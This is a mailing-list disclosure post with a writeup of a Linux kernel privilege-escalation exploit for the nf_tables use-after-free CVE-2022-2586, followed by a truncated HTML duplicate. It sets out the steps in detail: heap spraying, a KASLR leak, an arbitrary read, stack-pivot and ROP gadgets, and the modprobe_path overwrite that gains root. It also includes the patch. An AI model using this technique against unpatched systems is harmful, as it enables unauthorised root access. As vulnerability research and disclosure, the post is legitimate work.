[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    [oss-security] N-day exploit for CVE-2022-2586: Linux kernel nft_object UAF
From:       Alejandro Guerrero <aguerrero () qualys ! com>
Date:       2022-08-29 19:26:39
Message-ID: SA1PR06MB8071EFD7F55B335FB7D01E87D8769 () SA1PR06MB8071 ! namprd06 ! prod ! outlook ! com
[Download RAW message or body]

[Attachment #2 (multipart/alternative)]


Hi all,

I developed an N-day exploit for CVE-2022-2586. Here is a short writeup and an exploit is \
attached.

# Exploiting CVE-2022-2586: Linux kernel nft_object use-after-free

On the 9th of August, patches for a vulnerability in the Linux kernel used in Pwn2Own Vancouver \
(CVE-2022-2586) were made public.

Thanks to [Team Orca of Sea Security](https://twitter.com/Seasecresponse) for this amazing \
discovery.

The vulnerability is a Use-After-Free (UAF) in nf_tables, that makes it possible to escalate \
privileges from any user to root, and it is present since kernel version v3.16-rc1. To exploit \
this bug we need to enter a new network namespace to obtain `CAP_NET_ADMIN` (i.e: unprivileged \
user namespaces must be enabled, which is the case on most Linux distributions nowadays).

Our exploit has been tested in a Ubuntu 20.04 with kernel 5.12.13.

In this post we will analyze the process we adopted to exploit this use-after-free to achieve \
Local Privilege Escalation (LPE), bypassing all the default mitigations (SMEP, SMAP, KASLR, \
Heap randomization, ...)

# Vulnerability analysis

The vulnerability is located in the netfilter subsystem. A feature in netfilter allows \
referencing sets from other tables in the same batch, so you are in the context of a specific \
table A, and are able to operate with a set in table B by using its `SET_ID`. This way you can \
cross-reference objects from the current table, and references will be created in the set from \
the second table.

Once the first table is removed, all the member objects, as well as the table itself, are \
kfree()'d, but the references will be kept in the second table, so we can reach a \
use-after-free condition.

When we provide a `SET_ID` to lookup a set, this is the general involved function:

```c
struct nft_set *nft_set_lookup_global(const struct net *net,
                                                  const struct nft_table *table,
                                                  const struct nlattr *nla_set_name,
                                                  const struct nlattr *nla_set_id,
                                                  u8 genmask)
{
           struct nft_set *set;

           set = nft_set_lookup(table, nla_set_name, genmask);
           if (IS_ERR(set)) {
                      if (!nla_set_id)
                                 return set;

                      set = nft_set_lookup_byid(net, nla_set_id, genmask);
           }
           return set;
}
EXPORT_SYMBOL_GPL(nft_set_lookup_global);
```

Which ends up calling `nft_set_lookup_byid()`:

```c
static struct nft_set *nft_set_lookup_byid(const struct net *net,
                                                          const struct nlattr *nla, u8 genmask)
{
           struct nft_trans *trans;
           u32 id = ntohl(nla_get_be32(nla));

           list_for_each_entry(trans, &net->nft.commit_list, list) {
                      if (trans->msg_type == NFT_MSG_NEWSET) {
                                 struct nft_set *set = nft_trans_set(trans);

                                 if (id == nft_trans_set_id(trans) &&
                                     nft_active_genmask(set, genmask))
                                            return set;
                      }
           }
           return ERR_PTR(-ENOENT);
}
```

We can see below how the reference is made when setting `NFTA_SET_ELEM_OBJREF` on creating a \
set element (`nft_add_set_elem()` at `nf_tables_api.c`):

```c

...

if (obj) {
           *nft_set_ext_obj(ext) = obj;
           obj->use++;
}

...

```

## Triggering the Use-After-Free

Once we left a reference in a second table after removing the first, we can operate over the \
object.

An object is defined as the following:

```c
struct nft_object {
           struct list_head                list;
           struct rhlist_head            rhlhead;
           struct nft_object_hash_key     key;
           u32                                     genmask:2,
                                                       use:30;
           u64                                     handle;
           u16                                     udlen;
           u8                                       *udata;
           /* runtime data below here */
           const struct nft_object_ops     *ops ____cacheline_aligned;
           unsigned char                             data[]
                      __attribute__((aligned(__alignof__(u64))));
};
```

To reference an object from a table, we can use `NFT_SET_EXT_OBJREF`. This feature is helpful \
when used in maps, as we can use a different object (eg.: counter) when a specific index (like \
a port) is found in the set/map. Example:

```
table ip foo {
           counter cnt_obj {
                      packets 0 bytes 0
           }

           map set1 {
                      type inet_service : counter
                      elements = { 1337 : "cnt_obj" }
           }

           chain output {
                      type filter hook output priority filter; policy accept;
                      counter name tcp dport map @set1
           }
}
```

This reference is not heavily used, in fact, there are just a few operations applied over it. \
First, every time we request its name, the contents of `obj->key.name` are read. Every time a \
new reference is created (e.g: in a map) the `obj->use` will be increased, and will be \
decreased every time we remove an element with its reference.

Another access we can force is the object functionality itself, for example, in counters there \
is a percpu pointer that is used to access a structure where the values for the number of \
packets and data are increased or decreased. The interesting point is that to reach this \
through a map, the following code is executed:

```c
static void nft_objref_map_eval(const struct nft_expr *expr,
                                            struct nft_regs *regs,
                                            const struct nft_pktinfo *pkt)
{
           struct nft_objref_map *priv = nft_expr_priv(expr);
           const struct nft_set *set = priv->set;
           const struct nft_set_ext *ext;
           struct nft_object *obj;
           bool found;

           found = set->ops->lookup(nft_net(pkt), set, &regs->data[priv->sreg],
                                            &ext);
           if (!found) {
                      regs->verdict.code = NFT_BREAK;
                      return;
           }
           obj = *nft_set_ext_obj(ext);
           obj->ops->eval(obj, regs, pkt);
}
```

There is a dereference of `obj->ops->eval`, which means that if as part of the use-after-free \
we can take control of the object and modify `obj->ops`, we have the possibility of hijacking \
RIP and the legitimate execution flow to escalate our privileges.

## Achieving KASLR leak

As already mentioned, we can issue reads over `obj->key.name` to retrieve the name of the \
object. This is an important functionality in the exploitation as it will give us interesting \
leaks and primitives.

On object creation, we can specify a string for the name of the object. This is interesting as \
we can craft a string of a specific size to enter the `obj->key.name` allocation in a specific \
slab of our need / interest.

The designed KASLR leak primitive is pretty straightforward: As `seq_operations` structs are of \
0x20 bytes, we can provide a `0x1f`-sized string (allocation is made with string size plus one \
for the null terminator) so that when `obj->key.name` is freed, spraying with `seq_operations` \
will make one of them allocated in the space we had our string placed in.

We can request the name of the object now and the contents of `seq_operations` will be returned \
to us, resulting in a `single_open` leak, allowing us to calculate the base for KASLR.

## Designing the strategy

At this point, we realize that if we want to hijack the `obj->ops->eval` execution, we will \
need a way to store a fake `nft_object_ops` struct in kernel memory (due to SMAP migitation), \
and predict its address to place it in `obj->ops`.

We can achieve this condition by applying the following process:

1) Trigger the use-after-free and provide a 0xc7-sized string (`nft_object` counter allocation \
size). 2) Create another table.
3) Spray with `nft_object` structs by adding multiple objects to the last created table.
4) If it succeeds, a `nft_object` struct will occupy the memory space where the string was.
5) Request the string name for the UAF'ed object, the `list.next` pointer will be leaked.
6) The last step leaked `&table->chain`, which is a `list_head` structure inside a `nft_table`.
7) Prepare another UAF condition and spray by using the table userdata feature (in table \
creation) to force `nla_memdup()` allocations to occupy the `nft_object`. 8) Place in the \
`nft_object` of the UAF the leaked address of `&table->chain`. 9) Request the name of the \
object to leak `table->chain.next`, which has the address of one of the sprayed `nft_object` \
structs. 10) Delete the third table to free all the sprayed `nft_object` structs.
11) By using the userdata feature again, spray with table creation to make `nla_memdup()` \
allocations (0xc7-sized) to occupy the now freed `nft_object` structs. 12) Those `nla_memdup()` \
allocations will fill all the structs with a fake `nft_object_ops`.

After all these steps, we know for certain that the struct for which we know the address, \
contains a fake `nft_object_ops` struct. This covers all the requirements for the exploitation \
to work, which are:

a) Know the KASLR base (predict address for gadgets and functions)

b) Know a heap address with our arbitrary contents (predict address with our fake `obj->ops`)

### Leaking ctx->table address

Using the same trick we used in the KASLR base prediction phase, we can make a `nft_object` be \
allocated right where our string was.

We can do this by providing a 0xc7-sized string for the object name:

```c

...

obj->key.table = table;
obj->handle = nf_tables_alloc_handle(table);

obj->key.name = nla_strdup(nla[NFTA_OBJ_NAME], GFP_KERNEL);
if (!obj->key.name) {
           err = -ENOMEM;
           goto err_strdup;
}

...

```

This will leak us the `list.next` entry, that points to `&table->objects` (which is a \
`list_head` struct):

```c
struct nft_table {
           struct list_head                list;
           struct rhltable                             chains_ht;
           struct list_head                chains;
           struct list_head                sets;
           struct list_head                objects;
           struct list_head                flowtables;
           u64                                     hgenerator;
           u64                                     handle;
           u32                                     use;
           u16                                     family:6,
                                                       flags:8,
                                                       genmask:2;
           u32                                     nlpid;
           char                                    *name;
           u16                                     udlen;
           u8                                       *udata;
};
```

### Achieving arbitrary read primitive

Through the `obj->key.name`, by taking control of a freed-but-referenced `nft_object`, we can \
achieve an arbitrary read primitive to read strings (or any data until a null terminator) at \
any valid address in memory.

To take over the control of a `nft_object` struct, we can use `nla_memdup()` from the userdata \
buffers added to tables when setting `NFTA_TABLE_USERDATA` on table creation:

```c

...

if (nla[NFTA_TABLE_USERDATA]) {
           table->udata = nla_memdup(nla[NFTA_TABLE_USERDATA], GFP_KERNEL);
           if (table->udata == NULL)
                      goto err_table_udata;

           table->udlen = nla_len(nla[NFTA_TABLE_USERDATA]);
}

...

```

As we have arbitrary size and data, we can replace the `nft_object` contents with our own, and, \
as we know the address of `&table->objects`, we can get the address of one of the sprayed \
`nft_object` structs that is pointed to by this entry. We have to point `obj->key.name` to this \
address and request the object name.

## Code execution and LPE

After we achieved all the requirements for the function pointer hijack to be executed, this \
phase of the exploitation is a reuse of the previously mentioned primitives and refill \
techniques.

This is the definition of `nft_object_ops`:

```c
struct nft_object_ops {
           void                                    (*eval)(struct nft_object *obj,
                                                                  struct nft_regs *regs,
                                                                  const struct nft_pktinfo \
*pkt);  unsigned int                                 size;
           int                                       (*init)(const struct nft_ctx *ctx,
                                                                  const struct nlattr *const \
                tb[],
                                                                  struct nft_object *obj);
           void                                    (*destroy)(const struct nft_ctx *ctx,
                                                                     struct nft_object *obj);
           int                                       (*dump)(struct sk_buff *skb,
                                                                  struct nft_object *obj,
                                                                  bool reset);
           void                                    (*update)(struct nft_object *obj,
                                                                    struct nft_object *newobj);
           const struct nft_object_type    *type;
};
```

We need to first trigger the UAF, and use the `nla_memdup()` refill to take control over `obj` \
and place our arbitrary contents there. We should point `obj->ops` to the leaked `nft_object` \
address, where our stack pivot gadget address is stored.

```c
obj = *nft_set_ext_obj(ext);
obj->ops->eval(obj, regs, pkt);
```

The first argument is the `obj` address itself, so we can find a stack pivot gadget to move the \
stack to `obj` and execute a ROP chain to achieve arbitrary code execution.

We found the gadget: `push rdi ; pop rsp ; add cl, cl ; ret`, which is exactly what we need. \
The ROP chain will use a write-what-where gadget to write an arbitrary path into \
`modprobe_path`: `mov qword ptr [rdx], rax ; ret`.

We can finally force the kernel to execute our own script as root by executing a dummy script \
with magic numbers unknown to the kernel, resulting in a call to `call_modprobe()` to execute \
the usermode helper, which is now our custom path. This will allow us to obtain root privileges \
outside the network namespace (in the initial namespace).

## Patch

The main patch is pretty simple. It just makes sure that the current table is the one the set \
we refer (using its `SET_ID`) belongs to:

```c
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -3842,6 +3842,7 @@ static struct nft_set *nft_set_lookup_byhandle(const struct nft_table \
*table, }
static struct nft_set *nft_set_lookup_byid(const struct net *net,
+                                                        const struct nft_table *table,
                                                          const struct nlattr *nla, u8 genmask)
{
           struct nftables_pernet *nft_net = nft_pernet(net);
@@ -3853,6 +3854,7 @@ static struct nft_set *nft_set_lookup_byid(const struct net *net,
                                 struct nft_set *set = nft_trans_set(trans);
                                 if (id == nft_trans_set_id(trans) &&
+                                   set->table == table &&
                                     nft_active_genmask(set, genmask))
                                            return set;
                      }
@@ -3873,7 +3875,7 @@ struct nft_set *nft_set_lookup_global(const struct net *net,
                      if (!nla_set_id)
                                 return set;
-                    set = nft_set_lookup_byid(net, nla_set_id, genmask);
+                    set = nft_set_lookup_byid(net, table, nla_set_id, genmask);
           }
           return set;
}
```

## Conclusion

In this post we analyzed a use-after-free in the Linux Kernel and our solution to develop a LPE \
exploit that bypasses the default mitigations (SMAP, SMEP, KASLR, Heap randomization, ...).

## References

Patches:

- \[1\] [https://lore.kernel.org/netfilter-devel/20220809170148.164591-1-cascardo@canonical.com/ \
                T/](https://lore.kernel.org/netfilter-devel/20220809170148.164591-1-cascardo@canonical.com/T/)
                
- \[2\] [https://lore.kernel.org/all/20220819153832.533116527@linuxfoundation.org/](https://lore.kernel.org/all/20220819153832.533116527@linuxfoundation.org/)
                
- \[3\] [https://lore.kernel.org/lkml/20220819153832.580611023@linuxfoundation.org/](https://lore.kernel.org/lkml/20220819153832.580611023@linuxfoundation.org/)


Advisory and disclosure:

- \[4\] [https://www.zerodayinitiative.com/advisories/ZDI-22-1118/](https://www.zerodayinitiative.com/advisories/ZDI-22-1118/)
                
- \[5\] [https://www.openwall.com/lists/oss-security/2022/08/09/5](https://www.openwall.com/lists/oss-security/2022/08/09/5)


Distribution kernel updates:

- \[6\] [https://ubuntu.com/security/CVE-2022-2586](https://ubuntu.com/security/CVE-2022-2586)
- \[7\] [https://security-tracker.debian.org/tracker/CVE-2022-2586](https://security-tracker.debian.org/tracker/CVE-2022-2586)
                
- \[8\] [https://access.redhat.com/security/cve/cve-2022-2586](https://access.redhat.com/security/cve/cve-2022-2586)



[Attachment #5 (text/html)]

<html xmlns:o="urn:schemas-microsoft-com:office:office" \
xmlns:w="urn:schemas-microsoft-com:office:word" \
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" \
xmlns="http://www.w3.org/TR/REC-html40"> <head>
<meta http-equiv="Content-Type" content="text/html; charset=us-ascii">
<meta name="Generator" content="Microsoft Word 15 (filtered medium)">
<style><!--
/* Font Definitions */
@font-face
	{font-family:"Cambria Math";
	panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	font-size:11.0pt;
	font-family:"Calibri",sans-serif;}
.MsoChpDefault
	{mso-style-type:export-only;}
@page WordSection1
	{size:8.5in 11.0in;
	margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
	{page:WordSection1;}
--></style>
</head>
<body lang="EN-US" style="word-wrap:break-word">
<div class="WordSection1">
<p class="MsoNormal">Hi all,</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">I developed an N-day exploit for CVE-2022-2586. Here is a short writeup \
and an exploit is attached.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal"># Exploiting CVE-2022-2586: Linux kernel nft_object use-after-free</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">On the 9th of August, patches for a vulnerability in the Linux kernel used \
in Pwn2Own Vancouver (CVE-2022-2586) were made public. </p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Thanks to [Team Orca of Sea Security](https://twitter.com/Seasecresponse) \
for this amazing discovery.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">The vulnerability is a Use-After-Free (UAF) in nf_tables, that makes it \
possible to escalate privileges from any user to root, and it is present since kernel version \
v3.16-rc1. To exploit this bug we need to enter a new network namespace  to obtain \
`CAP_NET_ADMIN` (i.e: unprivileged user namespaces must be enabled, which is the case on most \
Linux distributions nowadays).</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Our exploit has been tested in a Ubuntu 20.04 with kernel 5.12.13.</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">In this post we will analyze the process we adopted to exploit this \
use-after-free to achieve Local Privilege Escalation (LPE), bypassing all the default \
mitigations (SMEP, SMAP, KASLR, Heap randomization, ...)</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal"># Vulnerability analysis</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">The vulnerability is located in the netfilter subsystem. A feature in \
netfilter allows referencing sets from other tables in the same batch, so you are in the \
context of a specific table A, and are able to operate with a set in table B  by using its \
`SET_ID`. This way you can cross-reference objects from the current table, and references will \
be created in the set from the second table.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Once the first table is removed, all the member objects, as well as the \
table itself, are kfree()'d, but the references will be kept in the second table, so we can \
reach a use-after-free condition.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">When we provide a `SET_ID` to lookup a set, this is the general involved \
function:</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```c</p>
<p class="MsoNormal">struct nft_set *nft_set_lookup_global(const struct net *net,</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const struct nft_table *table,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const struct nlattr *nla_set_name,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const struct nlattr *nla_set_id,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;u8 genmask)</p> <p class="MsoNormal">{</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct \
nft_set *set;</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set = \
nft_set_lookup(table, nla_set_name, genmask);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (IS_ERR(set)) \
{</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if (!nla_set_id)</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
return set;</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
set = nft_set_lookup_byid(net, nla_set_id, genmask);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return set;</p> \
<p class="MsoNormal">}</p> <p class="MsoNormal">EXPORT_SYMBOL_GPL(nft_set_lookup_global);</p>
<p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Which ends up calling `nft_set_lookup_byid()`:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```c</p>
<p class="MsoNormal">static struct nft_set *nft_set_lookup_byid(const struct net *net,</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp; const struct nlattr *nla, u8 genmask)</p> <p class="MsoNormal">{</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct \
nft_trans *trans;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; u32 id = \
ntohl(nla_get_be32(nla));</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
list_for_each_entry(trans, &amp;net-&gt;nft.commit_list, list) {</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if (trans-&gt;msg_type == NFT_MSG_NEWSET) {</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct nft_set *set = nft_trans_set(trans);</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if (id == nft_trans_set_id(trans) &amp;&amp;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp; nft_active_genmask(set, genmask))</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return \
set;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return \
ERR_PTR(-ENOENT);</p> <p class="MsoNormal">}</p>
<p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">We can see below how the reference is made when setting \
`NFTA_SET_ELEM_OBJREF` on creating a set element (`nft_add_set_elem()` at \
`nf_tables_api.c`):</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```c</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">...</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">if (obj) {</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
*nft_set_ext_obj(ext) = obj;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
obj-&gt;use++;</p> <p class="MsoNormal">}</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">...</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">## Triggering the Use-After-Free</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Once we left a reference in a second table after removing the first, we \
can operate over the object.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">An object is defined as the following:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```c</p>
<p class="MsoNormal">struct nft_object {</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct \
list_head&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
list;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct rhlist_head&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rhlhead;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct nft_object_hash_key&nbsp;&nbsp;&nbsp;&nbsp; key;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
u32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
genmask:2,</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
use:30;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
